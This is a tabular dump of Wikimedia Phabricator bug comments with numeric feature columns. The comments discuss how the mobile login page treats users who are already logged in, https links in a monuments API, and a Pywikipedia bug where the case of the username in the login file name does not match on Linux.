Unlike just about any site we allow users to register more than one account, though. And in particular we allow them to do that while being logged in. Showing the login form as well as the create account form seems like a sane thing to do (especially since it's also the only place in the UI where account creation is linked, apart from the list of all special pages).",,,1383157658,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,1.0,0.0,2.0,0.0,9.0,18.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,2.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,3.0,1.0,10.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,4.0,18.0,2.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,3.6956521739130435,0.7282608695652174,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

Unlike just about any site we allow users to register more than one account, though. And in particular we allow them to do that while being logged in. Showing the login form as well as the create account form seems like a sane thing to do (especially since it's also the only place in the UI where account creation is linked, apart from the list of all special pages)."
263858,Special:UserLogin does not inform you you're already logged in on mobile,"I was just pointing out that many websites if you go to the login page whilst logged in they will redirect you to a user dashboard. Since we don't have this equivalent though I can understand a warning message may suffice.

It doesn't seem like the end of the world to do nothing though - Tumblr seems to do that for example (www.tumblr.com/login)",,,1383150099,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,1.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,6.0,20.0,1.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,6.0,1.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,7.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,20.0,3.0,0.0,0.0,0.0,10.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.085714285714285,0.8,"I was just pointing out that many websites if you go to the login page whilst logged in they will redirect you to a user dashboard. Since we don't have this equivalent though I can understand a warning message may suffice.

It doesn't seem like the end of the world to do nothing though - Tumblr seems to do that for example (www.tumblr.com/login)"
263854,Special:UserLogin does not inform you you're already logged in on mobile,"**swalling** wrote:

(In reply to comment #2)
> I would actually say the correct behaviour is to not show the page at all
> maybe
> redirecting to the main page...

That's a bad idea, because it defies normal expectations. A user clicking on a link to login or typing in Special:UserLogin expects to be sent to login. Doing something else silently would seem broken. 

Also, note that if you're already authenticated, you can in fact log in as a different account without logging out, so the warning message educates the user about this, rather than just acting as a roadblock.",,,1383094786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-88,True,0.0,1.0,0.0,0.5,0.0,2.0,0.0,0.5,0.0,1.0,5.5,1.0,0.0,0.0,0.0,0.0,0.0,5.5,13.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,3.5,1.5,0.5,2.5,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,8.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.5,0.5,6.0,2.5,1.5,6.5,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,2.5,13.5,2.0,0.0,0.0,0.0,2.5,0.0,0.0,3.5,0.0,5.0,0.0,0.0,0.0,3.770440251572327,0.7852900069881202,"**swalling** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE

That's a bad idea, because it defies normal expectations. A user clicking on a link to login or typing in Special:UserLogin expects to be sent to login. Doing something else silently would seem broken. 

Also, note that if you're already authenticated, you can in fact log in as a different account without logging out, so the warning message educates the user about this, rather than just acting as a roadblock."
263850,Special:UserLogin does not inform you you're already logged in on mobile,Just a note that the rationale for the desktop design when user is logged in was discussed on bug 53306 and change I1672ee09.,,,1383094560,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,25.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,8.0,8.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.291666666666667,0.9583333333333334,Just a note that the rationale for the desktop design when user is logged in was discussed on bug 53306 and change I1672ee09.
263845,Special:UserLogin does not inform you you're already logged in on mobile,I would actually say the correct behaviour is to not show the page at all maybe redirecting to the main page...,,,1383094002,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,5.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,23.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.136363636363637,0.8181818181818182,I would actually say the correct behaviour is to not show the page at all maybe redirecting to the main page...
263839,Special:UserLogin does not inform you you're already logged in on mobile,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1342",,,1383093736,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
57657,Source link does not recognise https protocol,"There is URL in 'Source' column here http://toolserver.org/~erfgoed/api/api.php?action=search&format=html&srcountry=ua&srlang=uk&srid=61-212-0002&props=image|name|address|municipality|lat|lon|id|country|source|monument_article|registrant_url ,  but there is no A tags there, and I cannot go directly by link. I should copypaste it. It will be more useful if add A tags there.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1381610700,1443227401.0,PHID-USER-i3udwzz23foysknxyfsb,False,PHID-USER-m7etbwqrv6cfrg5ymrwx,False,PHID-TASK-hhfarzxifkzbfplxjjgo,task_description,resolved,True,c3,1,False,False,True,-90,True,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,3.0,3.0,0.0,10.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,17.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,3.3333333333333335,0.6825396825396826,"There is URL in 'Source' column here URL ,  but there is no A tags there, and I cannot go directly by link. I should copypaste it. It will be more useful if add A tags there.

--------------------------
**Version**: unspecified
**Severity**: normal"
703222,Source link does not recognise https protocol,"It actually does not. It triggers the email to all project members even if they don't want to receive it (= are not subscribed to the task). If they want to get email notifications on all changes in given project, they can //watch// the project (apart from //being a member//).

Task subscribers should be only People, not Projects.",,,1469975259,,PHID-USER-xqqqgn2dels45flxw5kb,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,3,False,,,56,True,3.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,13.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,9.0,13.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.7101449275362319,"It actually does not. It triggers the email to all project members even if they don't want to receive it (= are not subscribed to the task). If they want to get email notifications on all changes in given project, they can //watch// the project (apart from //being a member//).

Task subscribers should be only People, not Projects."
703209,Source link does not recognise https protocol,"@Danny_B don't subsribtion and project field act differently? I am not sure what @Ahonc needed, but from my POV l, and I am a member of wlmuammxv team too, subscribtion does make sense.",,,1469974184,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,3,False,,,56,True,0.0,0.0,0.0,0.0,5.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,11.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,5.0,5.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.2368421052631575,0.868421052631579,"SCREEN_NAME don't subsribtion and project field act differently? I am not sure whatSCREEN_NAME needed, but from my POV l, and I am a member of wlmuammxv team too, subscribtion does make sense."
535588,Source link does not recognise https protocol,Closing this one as Resolved. T112461 is slightly different.,,,1443227401,,PHID-USER-m7etbwqrv6cfrg5ymrwx,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.7272727272727275,0.9090909090909091,Closing this one as Resolved. T112461 is slightly different.
526242,Source link does not recognise https protocol,Should be vice versa. An older thing can't be a duplicate.,,,1442170566,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,3.4285714285714284,0.8571428571428571,Should be vice versa. An older thing can't be a duplicate.
416128,Source link does not recognise https protocol,Looks like the bot doesn't work with tools. [[https://gerrit.wikimedia.org/r/#/c/192258/|Gerrit patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.,,,1424728272,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,False,,,-19,True,3.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,5.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.1794871794871793,0.8461538461538461,Looks like the bot doesn't work with tools. [[URL patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.
415580,Source link does not recognise https protocol,Looks like the bot doen't work with tools. [[https://gerrit.wikimedia.org/r/#/c/192258/|Gerrit patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.,,,1424657442,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,False,,,-19,True,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.236842105263158,0.8421052631578947,Looks like the bot doen't work with tools. [[URL patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.
271683,Source link does not recognise https protocol,"Alright, setting back ""Priority"" from normal to low then, as it should reflect reality and not wishful thinking. :-/",,,1408906117,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.083333333333333,0.9166666666666666,"Alright, setting back ""Priority"" from normal to low then, as it should reflect reality and not wishful thinking. :-/"
271680,Source link does not recognise https protocol,"I have no access to fix it.
But it did not fixed during 10 month, I want to make it more quickly.",,,1408903766,,PHID-USER-i3udwzz23foysknxyfsb,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,False,,,-45,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,12.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.9615384615384617,0.8076923076923077,"I have no access to fix it.
But it did not fixed during 10 month, I want to make it more quickly."
271675,Source link does not recognise https protocol,Ahonc.ua: Do you plan to work on this?,,,1408898637,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,20.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,Ahonc.ua: Do you plan to work on this?
57575,Login screen is loaded briefly even though I'm logged in.,"From Jared

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1381424640,1411417881.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-cepna27rtqwdgr4ecugr,task_description,declined,True,c3,1,False,False,True,-90,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.55,"From Jared

--------------------------
**Version**: unspecified
**Severity**: normal"
267031,Login screen is loaded briefly even though I'm logged in.,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.

For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411417881,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-cepna27rtqwdgr4ecugr,task_subcomment,,True,c3,1,True,,,-41,True,2.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,21.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,13.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,3.9206349206349205,0.8095238095238095,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.

For the full story, see this thread on mobile-l: URL"
57190,*-login.data can have case discrepency on Linux host,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1475/
Reported by: jaclayiii
Created on: 2012-06-26 04:52:22
Subject: *-login.data can have case discrepency on Linux host
Original description:
Pywikipedia \[http\] trunk/pywikipedia \(r10401, 2012/06/21, 06:18:43\)
Python 2.7.2+ \(default, Oct  4 2011, 20:06:09\)
\[GCC 4.6.1\]
config-settings:
use\_api = True
use\_api\_login = True
unicode test: ok

Summary: the \*-login.data file maybe saved with an uppercase username but when load cookies tries to find it on a Linux host, the case of the username maybe lower. This has the unintended consequence of not allowing bots to login on private wikis that have anonymous read api rights disabled.


If a user connects to a wiki that has LDAP or some other form of ""add-on"" authentication, the user name returned may vary in case from what is in the user-config.py file. The reason this matters is that the &lt;wikifamily&gt;-&lt;language&gt;-&lt;username&gt;-login.data file may be saved with an upper case letter in the username. Thus if the user-config.py file contained:

users\[""mywiki""\]\[""en""\]=""james""

but the LDAP authenticator returned back ""James"" as the username, then the \*-login.data file would be mywiki-en-James-login.data, but when \_loadcookies goes to look for such a file on line 5572: 

if os.path.exists\(localPA\)

localPA is /~some/path/to/mywiki-en-james-login.data

Notice that the James is now lower case in the file above.

As Linux is case sensitive, it cannot find the login data and thus prevents access to wikis the do not allow anonymous access to api's. A temporary work around requires setting user name to the appropriate case \(even if the username is case insensitive in the LDAP authentication scheme\), for example:

users\[""mywiki""\]\[""en""\]=""James""


keywords: SSL, Login failure, https login failure, https linux login, https pywikipedia, https pywikipedia linux

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1475",Low,25.0,1380948000,1644598152.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-u6hauwbfub42u7jgbgkz,task_description,resolved,True,c3,1,True,False,False,-91,True,0.25,0.0,0.0,0.25,0.75,5.75,0.75,0.0,0.0,1.0,2.25,0.0,0.0,0.0,0.0,0.0,0.0,3.75,9.5,0.0,0.75,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.25,0.0,4.25,1.25,0.5,0.5,0.0,0.0,0.0,1.25,0.75,0.0,0.0,0.5,1.25,0.0,0.0,0.0,0.5,0.25,21.25,0.5,0.25,0.0,0.25,0.5,0.0,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.5,0.0,0.5,0.0,6.75,2.0,8.5,2.0,1.5,7.75,0.0,0.0,0.0,0.0,2.75,0.25,3.0,0.0,0.5,9.5,6.5,0.0,1.5,0.0,0.5,0.0,1.25,1.75,0.0,0.5,0.5,0.25,0.0,4.381154007994951,0.6775720597517357,"Originally from: URL
Reported by: jaclayiii
Created on: 2012-06-26 04:52:22
Subject: *-login.data can have case discrepency on Linux host
Original description:
Pywikipedia \[http\] trunk/pywikipedia \(r10401, 2012/06/21, 06:18:43\)
Python 2.7.2+ \(default, Oct  4 2011, 20:06:09\)
\[GCC 4.6.1\]
config-settings:
use\_api = True
use\_api\_login = True
unicode test: ok

Summary: the \*-login.data file maybe saved with an uppercase username but when load cookies tries to find it on a Linux host, the case of the username maybe lower. This has the unintended consequence of not allowing bots to login on private wikis that have anonymous read api rights disabled.


If a user connects to a wiki that has LDAP or some other form of ""add-on"" authentication, the user name returned may vary in case from what is in the user-config.py file. The reason this matters is that the &lt;wikifamily&gt;-&lt;language&gt;-&lt;username&gt;-login.data file may be saved with an upper case letter in the username. Thus if the user-config.py file contained:

users\[""mywiki""\]\[""en""\]=""james""

but the LDAP authenticator returned back ""James"" as the username, then the \*-login.data file would be mywiki-en-James-login.data, but when \_loadcookies goes to look for such a file on line 5572: 

if os.path.exists\(localPA\)

localPA is /~some/path/to/mywiki-en-james-login.data

Notice that the James is now lower case in the file above.

As Linux is case sensitive, it cannot find the login data and thus prevents access to wikis the do not allow anonymous access to api's. A temporary work around requires setting user name to the appropriate case \(even if the username is case insensitive in the LDAP authentication scheme\), for example:

users\[""mywiki""\]\[""en""\]=""James""


keywords: SSL, Login failure, https login failure, https linux login, https pywikipedia, https pywikipedia linux

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
1863039,*-login.data can have case discrepency on Linux host,we no longer have such a file,,,1644598152,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,3,True,,,345,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,we no longer have such a file
468077,*-login.data can have case discrepency on Linux host,"@legoktm, @aklapper imported spam ^",,,1433302446,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.8333333333333334,"SCREEN_NAME,SCREEN_NAME imported spam ^"
